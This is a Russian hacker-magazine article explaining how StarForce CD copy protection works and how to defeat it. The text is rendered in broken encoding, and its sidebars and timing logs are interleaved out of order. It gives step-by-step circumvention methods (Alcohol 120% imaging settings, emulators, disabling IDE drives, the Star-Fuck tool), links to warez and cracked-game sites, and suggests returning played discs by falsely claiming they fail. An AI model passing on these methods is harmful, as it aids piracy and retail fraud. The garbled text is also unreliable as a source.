ÕÎ, ÏÐÈßÒÅËÜ. ÑÅÃÎÄÍß ÌÛ ÍÀÓ×ÈÌÑß ÁÎÐÎÒÜÑß ÑÎ ÇÂÅÇÄÀÌÈ È ÐÀÇÁÅÐÅÌÑß Ñ ÒÅÌ, ÊÀÊ ÆÅ ÂÇËÀÌÛ-
ÂÀÅÒÑß ËÅÃÅÍÄÀÐÍÀß ÇÀÙÈÒÀ | Êðèñ Êàñïåðñêè aka ìûùúõ

[÷òî òàêîå StarForce?] StarForce � ýòî òåõíîëîãèÿ, ïðåäíàçíà÷åí-
íàÿ äëÿ çàùèòû CD îò êîïèðîâàíèÿ, îñíîâíàÿ èäåÿ êîòîðîé çàêëþ÷àåò-
ñÿ â ïðèâÿçêå ê ôèçè÷åñêîé ñòðóêòóðå ñïèðàëüíîé äîðîæêè è èñïîëüçî-
âàíèè öåëîãî íàáîðà íèçêîóðîâíåâûõ ïðîòèâîõàêåðñêèõ ñðåäñòâ. Âìå-
ñòî òóïîé ïðîâåðêè ïî ñõåìå «ñâîé � ÷óæîé» (êîòîðàÿ ýëåìåíòàðíî îò-
ëàìûâàåòñÿ çàìåíîé îäíîãî jmp'à), òîïîëîãè÷åñêèå õàðàêòåðèñòèêè äèñ-
êà ïðåîáðàçóåòñÿ â ÷èñëî, èñïîëüçóåìîå äëÿ ðàñøèôðîâêè îñíîâíîãî
òåëà ïðîãðàììû, ïðè÷åì ñïåöèàëüíûå çàùèòíûå êîìïîíåíòû ñëåäÿò çà
òåì, ÷òîáû ïîñëå ðàñøèôðîâêè íèêòî íå ñíÿë äàìï.
×àñòü çàùèòíîãî êîäà ñîñðåäîòî÷åíà â ìíîãîìåãàáàéòîâîì protect.dll,
÷àñòü � â äðàéâåðàõ, à ÷àñòü � ñêîìïèëèðîâàíà â ïðîìåæóòî÷íûé p-êîä,
âûïîëíÿåìûé íà ñâîåì ñîáñòâåííîì èíòåðïðåòàòîðå. Âñÿ ýòà áîäÿãà çàìå-
øàíà íà êó÷å àíòèîòëàäî÷íûõ ïðèåìîâ, ïðåïÿòñòâóþùèõ êàê èçó÷åíèþ çà-
ùèòíîãî êîäà, òàê è ýìóëÿöèè îðèãèíàëüíîãî äèñêà.

[êàê ýòî ðàáîòàåò] Ïðèâÿçêà ê äèñêó îñíîâàíà íà èçìåðåíèè óãëà
ìåæäó ñåêòîðàìè. Ïîõîæàÿ òåõíèêà èñïîëüçîâàëàñü åùå âî âðåìåíà 8-
áèòíûõ êîìïüþòåðîâ è äèñêåò. Àíàëîãè÷íûì îáðàçîì ðàáîòàþò CD-Cops,
SecureROM è ìíîãèå äðóãèå çàùèòíûå ìåõàíèçìû, òàê ÷òî íàçâàòü èäåþ
ðàçðàáîò÷èêîâ SF «ðåâîëþöèîííîé» î÷åíü òðóäíî. Íî ýòî íå ïîìåøàëî
ðàçðàáîò÷èêàì çàïàòåíòîâàòü åå èëè, ïî êðàéíåé ìåðå, îáúÿâèòü, ÷òî îíà
çàïàòåíòîâàíà. Âïðî÷åì, íå áóäåì óãëóáëÿòüñÿ â þðèäè÷åñêèå äåáðè, 
à ëó÷øå ïåðåéäåì ê òåõíè÷åñêèì äåòàëÿì.
Ñïèðàëüíàÿ äîðîæêà ëàçåðíûõ äèñêîâ î÷åíü ïîõîæà íà ãðàìïëàñòèíêó,
òîëüêî íà÷èíàåòñÿ íå ñíàðóæè, à èçíóòðè, òî åñòü íàìàòûâàåòñÿ îò öåíòðà
ê êðàþ. Ëàçåðíàÿ ãîëîâêà, óäåðæèâàåìàÿ â ìàãíèòíîì ïîëå (ïðèìåðíî òàê

Ïðèíöèï ðàáîòû, óçêèå ìåñòà 
è ìåòîäû âçëîìà StarForce

æå, êàê óäåðæèâàåòñÿ çâóêîâàÿ êà-
òóøêà â àêóñòè÷åñêèõ ñèñòåìàõ)
äâèæåòñÿ íà ñàëàçêàõ ïîïåðåê ñïè-
ðàëüíîé äîðîæêè. Ñàìà äîðîæêà
ñîñòîèò èç ñåêòîðîâ ñ äàííûìè è êà-
íàëîâ ïîäêîäà. Íîìåðà ñåêòîðîâ
íàõîäÿòñÿ êàê â çàãîëîâêàõ ñàìèõ
ñåêòîðîâ, òàê è â êàíàëàõ ïîäêîäà,
«ðàçìàçàííûõ» âäîëü ñïèðàëüíîé
äîðîæêè. Äëÿ ãðóáîé íàâîäêè íà
òðåáóåìûé ñåêòîð èñïîëüçóþòñÿ ñà-
ëàçêè è êàíàëû ïîäêîäà, à äëÿ òî÷-
íîé � îòêëîíåíèå â ìàãíèòíîì ïî-
ëå è ñåêòîðíûå çàãîëîâêè.
Ïðîñòî âçÿòü è èçìåðèòü ñòðóêòóðó
ñïèðàëüíîé äîðîæêè íåëüçÿ, íî ìîæ-
íî ñäåëàòü âîò ÷òî. Äîïóñòèì, ãîëîâ-
êà ñ÷èòûâàåò ñåêòîð X, à ñëåäîì çà
íèì ñåêòîð Y. Åñëè óãîë XOY, îáðà-
çîâàííûé öåíòðîì (O) äèñêà è ñåêòî-
ðàìè X, Y ñîñòàâëÿåò ~15 ãðàäóñîâ, à
ñàìè ñåêòîðà ðàñïîëîæåíû â ñîñåä-
íèõ âèòêàõ ñïèðàëüíîé äîðîæêè, òî
ïðèâîäó áóäåò äîñòàòî÷íî âñåãî
ëèøü íåìíîãî îòêëîíèòü ãîëîâêó è
÷åðåç ìãíîâåíèå ñåêòîð Y ñàì óïàäåò
â åãî ðóêè, êàê ïåðåçðåâøåå ÿáëîêî, � äèñê âåäü âðàùàåòñÿ! Åñëè æå óãîë ñî-
ñòàâëÿåò ìåíåå 15 ãðàäóñîâ, òîãäà çà âðåìÿ ïåðåìåùåíèÿ ãîëîâêè, ñåêòîð Y
óæå «óïëûâåò» è ïðèâîäó ïðèäåòñÿ æäàòü öåëûé îáîðîò ëàçåðíîãî äèñêà.
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Ðàçðàáîò÷èêè SF ïðåäúÿ-
âëÿþò äîâîëüíî ñòðàííûå
òðåáîâàíèÿ: ïðè íàëè÷èè
IDE- è SCSI-ïðèâîäîâ çà-
ùèùåííûé äèñê äîëæåí
çàïóñêàòüñÿ èìåííî ñ IDE-
÷èòàëêè. Ýòî íåçàêîííî 
ñ ëþáîé òî÷êè çðåíèÿ, òåì
áîëåå, ÷òî íà îáëîæêå çà-
ùèùåííîãî äèñêà íåò íè
ñëîâà îá ýòîì. Ñëåäîâà-
òåëüíî, íè÷òî íå ìåøàåò
êóïèòü íåñêîëüêî äèñêîâ,
ïîèãðàòü, à ïîòîì ïðèéòè 
â ìàãàçèí è àðãóìåíòèðî-
âàííî ñêàçàòü: «Íå ðàáîòà-
þò!». Ïðèãðîçèâ ñóäîì 
è îáùåñòâîì çàùèòû ïðàâ
ïîòðåáèòåëåé, òû áåç ïðî-
áëåì ñäàøü äèñêè è ïîëó-
÷èøü áàáëî íàçàä.

Íà íàøåì äèñêå òû íàéäåøü
óïîìÿíóòûå â ñòàòüå ïðî-
ãðàììû è äîêóìåíòàöèþ.

starforce



Ñðàçó áðîñàåòñÿ â ãëàçà, ÷òî øàã óáûâàíèÿ ìåæäó ñåêòîðàìè íå îñòàåòñÿ
ïîñòîÿííûì, à ïëàâíî ðàñòåò, òî åñòü çàùèòà ïåðåáèðàåò ðàçëè÷íûå êîì-
áèíàöèè X è Y, çàñåêàÿ â êàêîé ìîìåíò ïðîèñõîäèò «ïåðåñêîê» ñåêòîðà, âû-
íóæäàþùèé æäàòü öåëûé îáîðîò. Â äàííîì ñëó÷àå, îí ðàñïîëîæåí ìåæäó
051ddd è 051dd2 ñåêòîðàìè. Âðåìÿ äîñòóïà ñêà÷êîîáðàçíî óâåëè÷èâàåòñÿ
ñ 5,2 ms äîë 12 ms, òî åñòü áîëüøå ÷åì â äâà ðàçà!
À òåïåðü ïîñìîòðèì, êàê âûãëÿäèò ïðîòîêîë îáìåíà ñ êîïèåé:

[èçìåðåíèå óãëà ìåæäó ñåêòîðàìè äëÿ êîïèè äèñêà]

Âðîäå áû, âñå òàê æå, êàê â ïðîøëûé ðàç, íî, ïðèñìîòðåâøèñü ïîâíèìà-
òåëüíåå, ìîæíî çàìåòèòü, ÷òî ïåðåñêîê ïðîèñõîäèò íå ìåæó 051ddd è
051dd2 ñåêòîðàìè, êàê ðàíüøå, à ìåæäó 051dd2 è 051dc6, òî åñòü íà îäèí
øàã ïîçæå. Âîò ýòî-òî è îòëè÷àåò ñêîïèðîâàííûé äèñê îò îðèãèíàëà!

[êàê ýòî ëîìàþò] Ñêîïèðîâàòü
ôèçè÷åñêóþ ñòðóêòóðó ñïèðàëüíîé
äîðîæêè íåëüçÿ. Âî âñÿêîì ñëó÷àå,
ïîêà. Íî êîå-êàêèå øàãè â ýòîì íà-
ïðàâëåíèè óæå ñäåëàíû. Íà ðûíêå
ïîÿâèëèñü ïðèâîäû ñ ïåðåìåííîé
ïëîòíîñòüþ çàïèñè (íàïðèìåð, Ple-
xtor Premium), ïðàâäà, ïîääåðæè ñî
ñòîðîíû êîïèðîâùèêîâ åùå íåò.
Òàêæå ìíå óäàëîñü ñîçäàòü ýêñïåðè-
ìåíòàëüíûé êîïèðîâùèê, èìèòèðóþ-
ùèé ñòðóêòóðó îðèãèíàëüíîé äîðîæ-
êè, ïóòåì ïåðåóïîðÿäî÷èâàíèÿ ñåê-
òîðíûõ íîìåðîâ, îäíàêî äî çàêîí-
÷åííîãî ïðîäóêòà îí òàê è íå áûë äî-
âåäåí. Èìåþòñÿ è äðóãèå èäåè, íî 
â äîëãîâðåìåííîé ïåðñïåêòèâå âñå
îíè íåæèçíåñïîñîáíû è ðàçðàáîò÷è-
êè SF èõ ëåãêî îáîéäóò.
Íó è ëàäíî, èäåì äàëüøå! Ïåðåä
ïðîâåðêîé êëþ÷åâûõ õàðàêòåðèñòèê
ñïèðàëüíîé äîðîæêè, çàùèòà âûïîëíÿåò ïðîôèëèðîâêó ïðèâîäà, ÷òîáû
îöåíèòü ñòàáèëüíîñòü âñåõ âðåìåííûõ õàðàêòåðèñòèê. ×åì êà÷åñòâåííåå
ïðèâîä, òåì æåñò÷å ïðîâåðêà, è íàîáîðîò. Íà ðàçáîëòàííûõ ïðèâîäàõ, çà-
ùèòà âûíóæäåíà «ñíèæàòü ïëàíêó», èíà÷å äàæå ëèöåíçèîííûé äèñê îïîç-
íàåòñÿ êàê ïîääåëüíûé, à âîò ýòîãî óæå äîïóñêàòü íåëüçÿ. Îòñþäà âûâîä �
êîïèðóåì äèñê íà õðåíîâóþ áîëâàíêó è ïóñêàåì åå íà ðàçäîëáàííîì ïðè-

Òàêèì îáðàçîì, çàìåðÿÿ âðåìÿ ÷òå-
íèÿ ðàçëè÷íûõ ïàð ñåêòîðîâ, ìû ìî-
æåì ïðèáëèçèòåëüíî îïðåäåëèòü èõ
âçàèìíîå ðàñïîëîæåíèå íà ñïèðàëü-
íîé äîðîæêå. Ó êàæäîé ïàðòèè äèñêà
îíî áóäåò ñâîèì (âåäü ïëîòíîñòü ñåê-
òîðîâ íà 1ìì è êðóòèçíà ñïèðàëè íåî-
äèíàêîâà è âàðüèðóåòñÿ îò ïàðòèè 
ê ïàðòèè). ×òîáû ïîáîðîòü óïðåæäàþ-
ùåå ñ÷èòûâàíèå (êîòîðûì «ñòðàäà-
þò» ìíîãèå ïðèâîäû), çàùèòà äîëæíà
÷èòàòü ñåêòîðà â ïîðÿäêå óáûâàíèÿ èõ
íîìåðîâ. Òàêæå îíà äîëæíà èçìåðÿòü
ñêîðîñòü âðàùåíèÿ ïðèâîäà, ÷òîáû,
âî-ïåðâûõ, îïðåäåëèòü ïîñòîÿíñòâî
âðåìåííûõ çàìåðîâ, à âî-âòîðûõ,
ñêîððåêòèðîâàòü ôîðìóëó äëÿ âû÷è-
ñëåíèÿ óãëà. ×åì áûñòðåå âðàùàåòñÿ
äèñê, òåì ñêîðåå «óïëûâàåò» ñåêòîð.
Èìåííî òàê StarForce è ïîñòóïà-
åò. Íèæå ïðèâåäåí ïðîòîêîë ðà-

áîòû çàùèòû, ïåðåõâà÷åííûé ïðîãðàììîé BusHound (ïðè ýòîì èñïîëü-
çîâàëñÿ SCSI-íàêîïèòåëü, ïîñêîëüêó ñ IDE çàùèòà ðàáîòàåò íàïðÿìóþ
è ïðîãðàììíûé ïåðåõâàò óæå íå ñïàñàåò).
Ñíà÷àëà çàùèòà âûïîëíÿåò ïðîôèëèðîâêó ïîâåðõíîñòè, îïðåäåëÿÿ âðåìÿ
îäíîãî îáîðîòà, èñõîäÿ èç êîòîðîãî, áóäåò ðàññ÷èòûâàòüñÿ äîïóñê íà îòêëî-
íåíèå êëþ÷åâûõ õàðàêòåðèñòèê:

[ïðîôèëèðîâêà ñïèðàëüíîé äîðîæêè] 

(âñå íîìåðà ñåêòîðîâ øåñòíàäöàòåðè÷íûå)
Êàê âèäíî, êàæäûé ïîñëåäóþùèé íîìåð íà 15h ìåíüøå ïðåäûäóùåãî (ïðè-
áëèçèòåëüíî ñòîëüêî ñåêòîðîâ è ñîäåðæèòñÿ íà äàííîì âèòêå ñïèðàëè), à
âðåìÿ ÷òåíèÿ ñåêòîðà êîëåáëåòñÿ îò 8,1 äî 8,7 ms.
Çàòåì çàùèòà äåëàåò íåêîòîðûå íåñóùåñòâåííûå îïåðàöèè, (òî åñòü î÷åíü
äàæå ñóùåñòâåííûå, íî íå ñóòü âàæíûå) è ïðèñòóïàåò ê èçìåðåíèþ óãëîâ.
Âîò òàê âûãëÿäèò ïðîòîêîë äëÿ îðèãèíàëüíîãî äèñêà:

[èçìåðåíèÿ óãëà ìåæäó ñåêòîðàìè (îðèãèíàëüíûé äèñê)]

| CCÑÛËÊÈ ÏÏÎ ÒÒÅÌÅ || 
www.starforce.ru � îôèöèàëüíûé ñàéò ðàçðàáîò÷èêîâ StarForce.
www.gamecopyworld.com � îãðîìíàÿ êîëëåêöèÿ âçëîìàííûõ
èãð ñ èíñòðóêöèÿìè ïî êîïèðîâàíèþ (ê ñîæàëåíèþ, èãðû ïðåè-
ìóùåñòâåííî àíãëèéñêèå).
http://help.starforce.ru � o÷åíü áîëüøàÿ êîëëåêöèÿ ðóññêèõ èãð,
êîãäà-òî çàùèùåííûõ StarForce, à ñåé÷àñ ðàñêóëà÷åííûõ, ýê-
ñïðîïðèèðîâàííûõ è ïðèâàòèçèðîâàííûõ íà âñå ñòî.
http://cdru.nightmail.ru �  îáðàçû íåêîòîðûõ çàùèùåííûõ äè-
ñêîâ, ïðèãîäíûå äëÿ ýìóëÿöèè, òàì æå îïèñàíèå ïðèíöèïû ðà-
áîòû StarForce è ìåòîäû åãî êîïèðîâàíèÿ;
Alcohol 120% � ëó÷øèé êîïèðîâùèê âñåõ âðåìåí è íàðîäîâ,
÷àñòè÷íî ñïðàâëÿþùèéñÿ è ñî StarForce: www.alcohol-soft.com
Advanced MDS Editor � ðåäàêòîð îáðàçîâ äëÿ Àëêîãîëÿ ñ âîç-
ìîæíîñòüþ ñãëàæèâàíèÿ «äðûãàòåëüíûõ» îáðàçîâ: cdru.nightma-
il.ru/cdru/ssilki/progs/mdsedit/AdvancedMDSEdit055.rar;
Daemon Tools � ýìóëÿòîð äëÿ ðàáîòû ñ îáðàçàìè, ñîçäàííû-
ìè Àëêîãîëåì, íàìíîãî áîëåå êîìïàêòåí è â îòëè÷èè îò Àëêî-
ãîëÿ ñîâåðøåííî áåñïëàòåí: www.daemon-tools.cc
Star-Fuck � ïðîãðàììà äëÿ îòêëþ÷åíèÿ IDE-íàêîïèòåëåé «íà
ëåòó»: www.project-starfuck.tk
ôîðóìû, ïïîñâÿùåííûå ââçëîìó SStarForce:
www.wasm.ru/forum/index.php?action=vthread&forum=5&topic=5457
www.cracklab.ru/f/index.php?action=vthread&forum=1&topic=2060
www.forum.ru-board.com/topic.cgi?forum=55&topic=0519&start=0
www.amit.ru/foruma/showmes.asp?cust_id=1318&PageNo=&page=1

| ÝÝËÅÃÀÍÒÍÛÉ ÌÌÅÒÎÄ || 
Ñóùåñòâóåò (ïî êðàéíåé ìåðå, òåîðåòè÷åñêè) âåñüìà ýëå-
ãàíòíûé ìåòîä âçëîìà, îñíîâàííûé íà ãåíåðàöèè êëþ÷åé.
Äåéñòâèòåëüíî, StarForce «îöèôðîâûâàåò» îñîáåííîñòè
ñòðóêòóðû ñïèðàëüíîé äîðîæêè, ãåíåðèðóåò çíàêî-öèôðîâóþ
ïîñëåäîâàòåëüíîñòü è ñðàâíèâàåò ðåçóëüòàò ñ ââåäåííûì
êëþ÷îì. Åñòåñòâåííî, ýòî óïðîùåííàÿ ñõåìà è âìåñòî ïðî-
ñòîãî ñðàâíåíèÿ èñïîëüçóåòñÿ êðèïòîãðàôèÿ è ïðî÷èå çàìî-
ðî÷êè. Íî ñóòü îñòàåòñÿ ïðåæíåé � åñëè âîññòàíîâèòü àëãî-
ðèòì ãåíåðàöèè, äëÿ ñêîïèðîâàííîãî äèñêà, òî ìîæíî âû÷è-
ñëèòü ñâîé êëþ÷, êîòîðûé áóäåò âîñïðèíÿò êàê ïðàâèëüíûé.
Ïðîãðàììû, çàùèùåííûå ïî KeyLess òåõíîëîãèè, íå çàïðà-
øèâàþò êëþ÷à, è îí õðàíèòñÿ íà äèñêå â Data Preparer Identi-
fier'å â Primary Volume escriptor'å, ãäå ëåãêî ìîæåò áûòü èç-
ìåíåí. Êîâûðíóâ StarForce, ÿ óñòàíîâèë, ÷òî ðàçîáðàòüñÿ ñ
àëãîðèòìîì ãåíåðàöèè âïîëíå ðåàëüíî, íî� Â íîâûõ âåð-
ñèÿõ îí íàâåðíÿêà èçìåíèòñÿ, è òîãäà âåñü òðóä ïîéäåò íàñ-
ìàðêó. Êñòàòè ãîâîðÿ, â Ñåòè óæå ïîÿâèëîñü ìíîæåñòâî
ïðåäëîæåíèé îá óñëóãàõ ïîäîáíîãî ðîäà. Ïðè÷åì çà äåíüãè,
÷òî ñðàçó íàñòîðàæèâàåò. È íå çðÿ! Âñå ýòî ñïëîøíîå êèäà-
ëîâî. Ðàáî÷åãî ãåíåðàòîðà ïîêà íåò íè ó êîãî, òàê ÷òî íå âå-
äèñü íà òàêóþ ðàçâîäêó.

Íåðåäêî ïîñëå óñòàíîâêè
îáíîâëåíèÿ îò Microsoft
ëèöåíçèîííûå èãðû âíå-
çàïíî îòêàçûâàþòñÿ ðàáî-
òàòü, òðåáóÿ óñòàíîâêè îá-
íîâëåíèÿ îò StarForce. Ñêà-
÷àòü åãî ìîæíî çäåñü:
www.StarForce.ru/sup-
port/sfdrvup.zip.

Ðàçðàáîò÷èêè õàðàêòåðèçó-
þò ñåáÿ êàê ëþäåé ñ õàêåð-
ñêèì ïðîøëûì, ñèëüíûõ â
ñèñòåìíîì ïðîãðàììèðî-
âàíèè. Ðåáÿòà è â ñàìîì
äåëå çíàþò òàéíèêè îïåðà-
öèîííîé ñèñòåìû, êàê ñâîé
çàäíèé äâîð. Íî âîò ïðî-
ãðàììèðîâàòü óìåþò åäâà
ëè, âåäü ïðîãðàììèðîâà-
íèå � ýòî â ïåðâóþ î÷å-
ðåäü ïðîåêòèðîâàíèå è
ó÷åò ðèñêîâ. Ïðîãðàììà,
îðèåíòèðîâàííàÿ íà ìàññî-
âîå ïðèìåíåíèå, ïðîñòî íå
ìîæåò ïîëüçîâàòüñÿ íåäî-
êóìåíòèðîâàííûìè âîç-
ìîæíîñòÿìè è ïðî÷èìè
ïðèåìàìè íåòðàäèöèîííî-
ãî ïðîãðàììèðîâàíèÿ.

049634 292ms
04961f 192ms
04960a 8.5ms
0495f5 8.3ms
0495e0 8.5ms
0495cb 8.5ms

0495b6 8.5ms
0495a1 8.5ms
04958c 8.5ms
049577 8.5ms
049562 8.5ms
04954d 8.5ms

049538 8.5ms
049523 8.5ms
04950e 8.7ms
�
048e7e 8.1ms
048e69 8.2ms

048e54 8.2ms
048e3f 8.2ms
048e2a 8.2ms
048e15 8.2ms
048e00 8.2ms
�

051dfe 25ms
051dfa 7.3ms
051df5 6.6ms
051dee 6.2ms

051de6 5.5ms
051ddd 5.2ms
051dd2 12ms
051dc6 12ms

051db9 11ms
051daa 11ms
051d9a 10ms
051d89 10ms

051d76 9.9ms
051d62 9.1ms
051d4c 8.8ms
051d35 8.0ms

051dfe 29ms
051dfa 7.3ms
051df5 6.6ms
051dee 6.2ms

051de6 5.5ms
051ddd 5.1ms
051dd2 4.7ms
051dc6 12ms

051db9 11ms
051daa 11ms
051d9a 10ms
051d89 10ms

051d76 9.9ms
051d62 9.2ms
051d4c 8.8ms
051d35 8.0ms

Ïîñëåäíèå âåðñèè «Çâåç-
äíîé Ñèëû» î÷åíü ãëóáîêî
âêëèíèâàþòñÿ â Windows è
äàæå ìîäèôèöèðóþò åå
ÿäðî, â ðåçóëüòàòå ÷åãî ñè-
ñòåìà ÷àñòî íà÷èíàåò ðàáî-
òàòü êðàéíå íåñòàáèëüíî, î
÷åì ñâèäåòåëüñòâóåò è ìîé
ëè÷íûé îïûò, è ðÿä ñîîá-
ùåíèé íà ôîðóìàõ.
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âîäå (íà íåêîòîðûõ ïðèâîäàõ ìîæíî äàæå ñïåöèàëüíî ðàññòðîèòü àâòîìà-
òè÷åñêèé ðåãóëÿòîð ñêîðîñòåé, çà ýòî îòâå÷àåò ñïåöèàëüíûé ðåçèñòîð). Ó
íàñ åñòü øàíñ, ÷òî ñêîïèðîâàííûé äèñê îïîçíàåòñÿ êàê îðèãèíàëüíûé.
Åñëè æå íè÷åãî íå ïîëó÷èòñÿ, íåîáõîäèìî ïîâòîðèòü ôîêóñ íà äðóãîé
ïàðòèè áîëâàíîê îò äðóãîãî ïðîèçâîäèòåëÿ. Äîñòàòî÷íî ìíîãèå ïîëüçî-
âàòåëè ñîîáùàþò, ÷òî èì óäàâàëîñü ñêîïèðîâàòü çàùèùåííûå äèñêè íà
CD-RW. Çà ñ÷åò íåâûñîêîé îòðàæàòåëüíîé ñïîñîáíîñòè, ïåðåçàïèñûâà-
åìûå íîñèòåëè ÷èòàþòñÿ ãîðàçäî õóæå è, åñòåñòâåííî, íå òàê ñòàáèëüíî.
Òàêæå ïîëåçíî èñïîëüçîâàòü ïðèâîäû, êîòîðûå íå ïîçâîëÿþò ñåáÿ «òîð-
ìîçèòü» (óòèëèòû âðîäå CDSlow ñ íèìè íå ðàáîòàþò). Åñëè ïðè ïðîôè-
ëèðîâêå äèñêà, ðàçáðîñ çàìåðîâ ïðåâûøàåò íåêîòîðóþ âåëè÷èíó, SF
ïûòàåòñÿ ïåðåâåñòè ïðèâîä íà áîëåå íèçêóþ ñêîðîñòü.
Ïî ìîåìó îïûòó, äëÿ ãàðàíòèðîâàí-
íîãî êîïèðîâàíèÿ äèñêà íà CD-R,
íóæíî çàòðàòèòü íå ìåíåå 10 áîëâà-
íîê îò ðàçëè÷íûõ ïðîèçâîäèòåëåé ñ
ðàçëè÷íîé ãåîìåòðèé ñïèðàëüíîé
äîðîæêè, äëÿ èçìåðåíèÿ êîòîðîé
ìîæíî èñïîëüçîâàòü ìîþ óòèëèòó,
ïðèëàãàåìóþ ê ñòàòüå. Êîíå÷íî, 10
áîëâàíîê ýòî ìíîãî, íî ëèöåíçèîí-
íàÿ êîïèÿ îáîéäåòñÿ çíà÷èòåëüíî
äîðîæå. Áîëåå ïðîñòûõ ïóòåé, ê ñî-
æàëåíèþ, íå ñóùåñòâóåò è ïðåæäå,
÷åì äâèãàòüñÿ äàëüøå, ñòîèò ïîèñ-
êàòü êîïèðóåìóþ èãðó â ôàéëîîáìåííûõ ñåòÿõ, âðîäå eDonkey, ïîñèäåòü íà
IRC èëè ïðîáåæàòüñÿ ïî âàðåçíûì ñåðâåðàì. Íå ìîæåò áûòü, ÷òîáû åå íè-
êòî íå âçëîìàë! Íîðìàëüíûé õàêåð îòâÿçûâàåò èãðó îò CD ñàìîå áîëüøåå
çà äåíü (ïðè óñëîâèè, ÷òî îí óæå çíàêîì ñî StarForce), îäíàêî ñ êàæäîé ïðî-
ãðàììîé ïðèõîäèòñÿ âîåâàòü èíäèâèäóàëüíî.
Íà ñàéòå www.gamecopyworld.com ñîäåðæèòñÿ ìíîæåñòâî õàêíóòûõ èãð
âìåñòå ñ èíñòðóêöèåé ïî èõ êîïèðîâàíèþ, íî òàì ëåæàò â îñíîâíîì çàïàä-
íûå èãðû, äà è ê òîìó æå äàëåêî íå âñÿêèé âçëîì � ïðàâèëüíûé. Êîãäà èñ-
÷åçàåò ìóçûêà, çâóêè èëè ïîñòîÿííî âûëåòàåò ñîîáùåíèå î êðèòè÷åñêîé
îøèáêå, � ýòî óæå íå èãðà, à ñïëîøíîå íåïîòðåáñòâî ïîëó÷àåòñÿ.

[ïîìîùü àëêîãîëÿ] Òîãäà áåðåì Àëêîãîëÿ (èëè îôèöèàëüíî, Alcohol
120%), ãîâîðèì «ñîçäàòü îáðàç», â òèïå äàííûõ óêàçûâàåì StarForce
1.x/2.x/3.x èëè Securom *NEW (V4.x). Ïðè ýòîì àâ-
òîìàòè÷åñêè âçâîäèòñÿ ãàëî÷êà «èçìåðåíèå ïî-
çèöèîíèðîâàíèÿ äàííûõ (Òî÷íîñòü: âûñîêàÿ)»,
ãàëî÷êà «÷òåíèå ñóáêàíàëüíûõ äàííûõ» äîëæíà
áûòü ñáðîøåíà, ïîëîæåíèå âñåõ îñòàëüíûõ � íå-
êðèòè÷íî (íà íåêà÷åñòâåííûõ äèñêàõ «áûñòðûé
ïðîïóñê» îøèáîê èíîãäà ïðèâîäèò ê ïðîáëåìàì).
Ñêîðîñòü èçìåðåíèÿ ïîçèöèîíèðîâàíèÿ îáû÷íî
ðåêîìåíäóåòñÿ ñòàâèòü íà ìèíèìóì è â òå÷åíèå
âñåé îïåðàöèè äàæå íå äûøàòü íà êîìïüþòåð. Íà
ñàìîì äåëå, õîðîøåìó êîòó è â äåêàáðå ìàðò.
Ìîé TEAC-52x îò ëåâîãî ïðîèçâîäèòåëÿ íîð-
ìàëüíî èçìåðÿåò ãåîìåòðèþ ñïèðàëüíîé äîðîæ-
êè (òàêæå íàçûâàåìóþ òîïîëîãèåé) äàæå íà 52-õ,
à âîò ïðè ñíèæåíèè ñêîðîñòè íà÷èíàåò «áðå-
õàòü». Òàê ÷òî, çäåñü, âîçìîæíî, ïðèäåòñÿ è ïîýêñïåðèìåíòèðîâàòü.
Ñíÿòûé îáðàç íå ìîæåò áûòü íåïîñðåäñòâåííî çàïèñàí íà áîëâàíêó è ïðåä-
íàçíà÷åí ñïåöèàëüíî äëÿ ýìóëÿòîðà. Îäíè ïðåäïî÷èòàþò èñïîëüçîâàòü
ýìóëÿòîð, âìîíòèðîâàííûé â Àëêîãîëü, äðóãèå âûáèðàþò Daemon Tools. Â
Àëêîãîëå äëÿ ýòîãî äîñòàòî÷íî çàéòè â íàñòîéêè -> âèðòóàëüíûé äèñê, óêà-
çàòü ëþáîå ðàçóìíîå êîëè÷åñòâî âèðòóàëüíûé äèñêîâ, îòëè÷íîå îò íóëÿ, è
ïðè æåëàíèè âçâåñòè ãàëî÷êó «ïåðåìîíòèðîâàòü îáðàçû ïðè ïåðåçàãðóçêå
ñèñòåìû», ÷òîáû îíè ìîíòèðîâàëèñü àâòîìàòîì.
Äðåâíèå âåðñèè StarForce äîâåð÷èâî ðàáîòàëè ñ âèðòóàëüíûì îáðàçîì,
ïðèíèìàÿ åãî çà ïîäëèííûé, íî çàòåì âñå èçìåíèëîñü. Åñëè â ñèñòåìå
åñòü õîòÿ áû îäèí IDE-ïðèâîä, çàùèòà ïîñûëàåò âñå îñòàëüíûå ïðèâî-
äû â Îêëàõîìó è òðåáóåò âñòàâèòü ëèöåíçèîííûé äèñê èìåííî â IDE.
Äà! Äàæå åñëè îñòàëüíûå äèñêè âïîëíå çàêîííûå SCSI-íàêîïèòåëè. Íà-
ñòîÿùèå ìóæ÷èíû (ó êîòîðûõ ìàòåðèíñêàÿ ïëàòà ïðèâèí÷åíà ê ñòåíå)
ïðîñòî âûäèðàþò IDE-øëåéô èç CD-ROM (èëè ëèøàþò åãî ïèòàíèÿ), ïî-
ñëå ÷åãî âèðòóàëüíûé îáðàç ðàáîòàåò êàê íè â ÷åì íè áûâàëî. Êàê âà-
ðèàíò, ìîæíî ïðèîáðåñòè SCIS, USB èëè LPT CD-ROM è íå ïàðèòüñÿ.
Òàêæå ìîæíî âîñïîëüçîâàòüñÿ ïðîãðàììàìè star-fuck è StarForce
nightmare, âûêëþ÷àþùèõ IDE-êàíàëû «íà ëåòó», îäíàêî íîâûå âåðñèè
StarForce óæå íàó÷èëèñü áîðîòüñÿ ñ íèìè.
×òî äåëàòü, åñëè ñíÿòûé îáðàç íå ðàáîòàåò? Ïåðâûì äåëîì, íåîáõîäèìî
óäîñòîâåðèòüñÿ, ÷òî îáðàç ñíÿò ïðàâèëüíî. Áåðåì ïðîãðàììó Advan-
cedMDSEditor.exe, îòêðûâàåì ôàéë îáðàçà è ñìîòðèì � åñëè ôîðìà
êðèâîé, õàðàêòåðèçóþùåé ñêîðîñòü ÷òåíèÿ ñïèðàëüíîé äîðîæêè, èìååò

«âûáðîñû» èëè äðîæèò, êàê çàìåðçøèé öóöèê, òî ñíÿòûé îáðàç íèêóäà íå
ãîäèòñÿ, íåîáõîäèìî âûáðàòü äðóãóþ ñêîðîñòü è ïîâòîðèòü îïåðàöèþ
åùå ðàç, èëè ïðîñòî «ñãëàäèòü» êðèâóþ, íàæàâ êíîïêó «Linear Interpola-
tion» (ëèíåéíàÿ èíòåðïîëÿöèÿ) èëè, ÷òî åùå ëó÷øå, � Spline Graph

(ñïëàéí-èíòåðïîëÿöèÿ), äîáèâøèñü
ìàêñèìàëüíîé «ãëàäêîñòè» êðè-
âîé. Äëÿ íåêîòîðûõ èãð ãîòîâûé
